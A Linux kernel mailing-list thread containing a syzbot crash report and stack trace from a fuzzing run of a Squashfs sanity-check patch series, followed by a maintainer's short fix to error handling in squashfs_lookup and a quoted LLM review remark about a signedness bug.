tree: torvalds URL: https://kernel.googlesource.com/pub/scm/linux/kernel/git/torvalds/linux base: 23c62304dde29abe92013d85910d03a77dada35d arch: amd64 compiler: Debian clang version 22.1.8 (1~deb13u4), Debian LLD 22.1.8 config: https://ci.syzbot.org/builds/5a6f70fa-f5d2-4503-b4cf-fb256a97e555/config syz repro: https://ci.syzbot.org/findings/436bb7e5-3170-4e77-af09-16cc5bfab1a0/syz_repro
loop0: detected capacity change from 0 to 8 SQUASHFS error: Unable to read directory block [0:26]
Oops: general protection fault, probably for non-canonical address 0xdffffc0000000001: 0000 [#1] SMP KASAN PTI KASAN: null-ptr-deref in range [0x0000000000000008-0x000000000000000f] CPU: 0 UID: 0 PID: 5902 Comm: syz.0.17 Not tainted syzkaller #0 PREEMPT(full) Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.2-debian-1.16.2-1 04/01/2014 RIP: 0010:traverse_mounts fs/namei.c:1644 [inline] RIP: 0010:handle_mounts fs/namei.c:1755 [inline] RIP: 0010:step_into_slowpath+0x118/0x820 fs/namei.c:2110 Code: 49 bf 00 00 00 00 00 fc ff df 43 0f b6 04 3c 84 c0 48 8d 53 38 0f 85 7b 05 00 00 44 8b 32 4c 8b 6c 24 48 4c 89 e8 48 c1 e8 03 <42> 0f b6 04 38 84 c0 0f 85 81 05 00 00 45 8b 6d 00 44 89 ee 81 e6 RSP: 0018:ffffc9000356f700 EFLAGS: 00010202 RAX: 0000000000000001 RBX: ffffc9000356f9c0 RCX: ffff888115065a00 RDX: ffffc9000356f9f8 RSI: 0000000000000000 RDI: 0000000000000000 RBP: ffffc9000356f7b0 R08: ffff88811998f31f R09: 1ffff11023331e63 R10: dffffc0000000000 R11: ffffed1023331e64 R12: 1ffff920006adf3f R13: 0000000000000008 R14: 0000000000000401 R15: dffffc0000000000 FS: 00007fe4700f56c0(0000) GS:ffff88818be03000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007fe46f071a20 CR3: 0000000111cdc000 CR4: 00000000000006f0 Call Trace: <TASK> step_into fs/namei.c:2158 [inline] walk_component fs/namei.c:2294 [inline] link_path_walk+0xdb1/0x19a0 fs/namei.c:2662 path_lookupat+0xe4/0x8c0 fs/namei.c:2818 filename_lookup+0x265/0x5d0 fs/namei.c:2848 vfs_statx+0xfc/0x200 fs/stat.c:357 vfs_fstatat+0x11b/0x170 fs/stat.c:377 __do_sys_newfstatat fs/stat.c:542 [inline] __se_sys_newfstatat+0x118/0x3a0 fs/stat.c:536 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline] do_syscall_64+0x16a/0x530 arch/x86/entry/syscall_64.c:89 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7fe46f1a8fd9 Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007fe4700f5028 EFLAGS: 00000246 ORIG_RAX: 0000000000000106 RAX: ffffffffffffffda RBX: 00007fe46f425fa0 RCX: 00007fe46f1a8fd9 RDX: 0000200000000380 RSI: 0000200000000340 RDI: ffffffffffffff9c RBP: 00007fe46f237fed R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000 R13: 00007fe46f426038 R14: 00007fe46f425fa0 R15: 00007ffd6a7e0378 </TASK> Modules linked in: ---[ end trace 0000000000000000 ]--- RIP: 0010:traverse_mounts fs/namei.c:1644 [inline] RIP: 0010:handle_mounts fs/namei.c:1755 [inline] RIP: 0010:step_into_slowpath+0x118/0x820 fs/namei.c:2110 Code: 49 bf 00 00 00 00 00 fc ff df 43 0f b6 04 3c 84 c0 48 8d 53 38 0f 85 7b 05 00 00 44 8b 32 4c 8b 6c 24 48 4c 89 e8 48 c1 e8 03 <42> 0f b6 04 38 84 c0 0f 85 81 05 00 00 45 8b 6d 00 44 89 ee 81 e6 RSP: 0018:ffffc9000356f700 EFLAGS: 00010202 RAX: 0000000000000001 RBX: ffffc9000356f9c0 RCX: ffff888115065a00 RDX: ffffc9000356f9f8 RSI: 0000000000000000 RDI: 0000000000000000 RBP: ffffc9000356f7b0 R08: ffff88811998f31f R09: 1ffff11023331e63 R10: dffffc0000000000 R11: ffffed1023331e64 R12: 1ffff920006adf3f R13: 0000000000000008 R14: 0000000000000401 R15: dffffc0000000000 FS: 00007fe4700f56c0(0000) GS:ffff88818be03000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007fe46f1f07a0 CR3: 0000000111cdc000 CR4: 00000000000006f0 ---------------- Code disassembly (best guess): 0: 49 bf 00 00 00 00 00 movabs $0xdffffc0000000000,%r15 7: fc ff df a: 43 0f b6 04 3c movzbl (%r12,%r15,1),%eax f: 84 c0 test %al,%al 11: 48 8d 53 38 lea 0x38(%rbx),%rdx 15: 0f 85 7b 05 00 00 jne 0x596 1b: 44 8b 32 mov (%rdx),%r14d 1e: 4c 8b 6c 24 48 mov 0x48(%rsp),%r13 23: 4c 89 e8 mov %r13,%rax 26: 48 c1 e8 03 shr $0x3,%rax * 2a: 42 0f b6 04 38 movzbl (%rax,%r15,1),%eax <-- trapping instruction 2f: 84 c0 test %al,%al 31: 0f 85 81 05 00 00 jne 0x5b8 37: 45 8b 6d 00 mov 0x0(%r13),%r13d 3b: 44 89 ee mov %r13d,%esi 3e: 81 .byte 0x81 3f: e6 .byte 0xe6
***
If these findings have caused you to resend the series or submit a separate fix, please add the following tag to your commit message:
---
This report is generated by a bot. It may contain errors. syzbot ci engineers can be reached at [email protected].
Quoted 34 lines · On Sun, 15 Nov 2026 22:49:44 -0800 syzbot ci…
syzbot ci has tested the following series
[v2] Squashfs: fix a lot of AI issues and AI style issues
https://lore.kernel.org/all/[email protected]
* [PATCH v2 01/22] Squashfs: convert SQUASHFS_COMPRESSED_* to inline functions
* [PATCH v2 02/22] Squashfs: convert SQUASHFS_INODE_* andSQUASHFS_MKINODEto inline functions
* [PATCH v2 03/22] Squashfs: convert SQUASHFS_FRAGMENT_* to inline functions
* [PATCH v2 04/22] Squashfs: convert SQUASHFS_LOOKUP_* to inline functions
* [PATCH v2 05/22] Squashfs: convert SQUASHFS_ID_* to inline functions
* [PATCH v2 06/22] Squashfs: convert SQUASHFS_XATTR_* to inline functions
* [PATCH v2 07/22] Squashfs: fix offset insquashfs_read_inode()TRACE statements
* [PATCH v2 08/22] Squashfs: fix fragment bytes overflow on 32-bit architectures
* [PATCH v2 09/22] Squashfs: fix fragment index table length too large exploit
* [PATCH v2 10/22] Squashfs: sanity check inode metadata block location
* [PATCH v2 11/22] Squashfs: sanity check directory metadata block location
* [PATCH v2 12/22] Squashfs: widen xattr count variables and add sanity check
* [PATCH v2 13/22] Squashfs: very large files can exceed an int block count
* [PATCH v2 14/22] Squashfs: add more sanity checking tosquashfs_block_size()
* [PATCH v2 15/22] Squashfs: sanity check fragment block location and range
* [PATCH v2 16/22] Squashfs: sanity check block list sizes and range
* [PATCH v2 17/22] Squashfs: don't store large export table indexes in memory
* [PATCH v2 18/22] Squashfs: don't store large fragment table indexes in memory
* [PATCH v2 19/22] Squashfs: don't store large xattr id table indexes in memory
* [PATCH v2 20/22] Squashfs: fix variables in directory code and add more sanity checks
* [PATCH v2 21/22] Squashfs: fix regression insquashfs_copy_cache()
* [PATCH v2 22/22] Squashfs: check index isn't greater thanS64_MAXinsquashfs_read_data()and found the following issues:
* general protection fault in__d_obtain_alias
* general protection fault inlookup_one_qstr_excl
* general protection fault inlookup_open
* general protection fault insecurity_d_instantiate
* general protection fault instep_into_slowpath
Quoted 2 lines
Full report is available here:
https://ci.syzbot.org/series/dc24cdf0-7531-440e-8970-9c83c975cd2f
OK, thanks.
I think I just fixed this thanks to a smatch report from Dan. Below.
<llm>
Separately, "[PATCH v2 11/22] Squashfs: sanity check directory metadata block location" stores squashfs_dir_start() in a u64 in squashfs_lookup(), then checks block < 0. That check cannot detect its negative error returns; block needs a signed type.
</llm>
OK. I'll put a s64 cast in there for now. So hopefully we're all good. Phillip, please check.
From: Andrew Morton <[email protected]>
Subject: squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks-fix
Date: Sun Nov 15 09:54:43 PM PST 2026
fix smatch warnings
fs/squashfs/namei.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-)
fs/squashfs/namei.c renamed from fs/squashfs/namei.c~squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks-fix +6 -2
@@ -221,8 +221,10 @@ static struct dentry *squashfs_lookup(st/* * Read directory entry. */ -if (!squashfs_dir_space (dir, length,sizeof (*dire))) +if (!squashfs_dir_space (dir, length,sizeof (*dire))) { + err = -ENOSPC ; goto read_failure; + } err =squashfs_read_metadata (dir->i_sb, dire, &block, &offset,sizeof (*dire));
@@ -236,8 +238,10 @@ static struct dentry *squashfs_lookup(stif (size >SQUASHFS_NAME_LEN ) goto data_error; -if (!squashfs_dir_space (dir, length, size)) +if (!squashfs_dir_space (dir, length, size)) { + err = -ENOSPC ; goto read_failure; + } err =squashfs_read_metadata (dir->i_sb, dire->name, &block, &offset, size);
_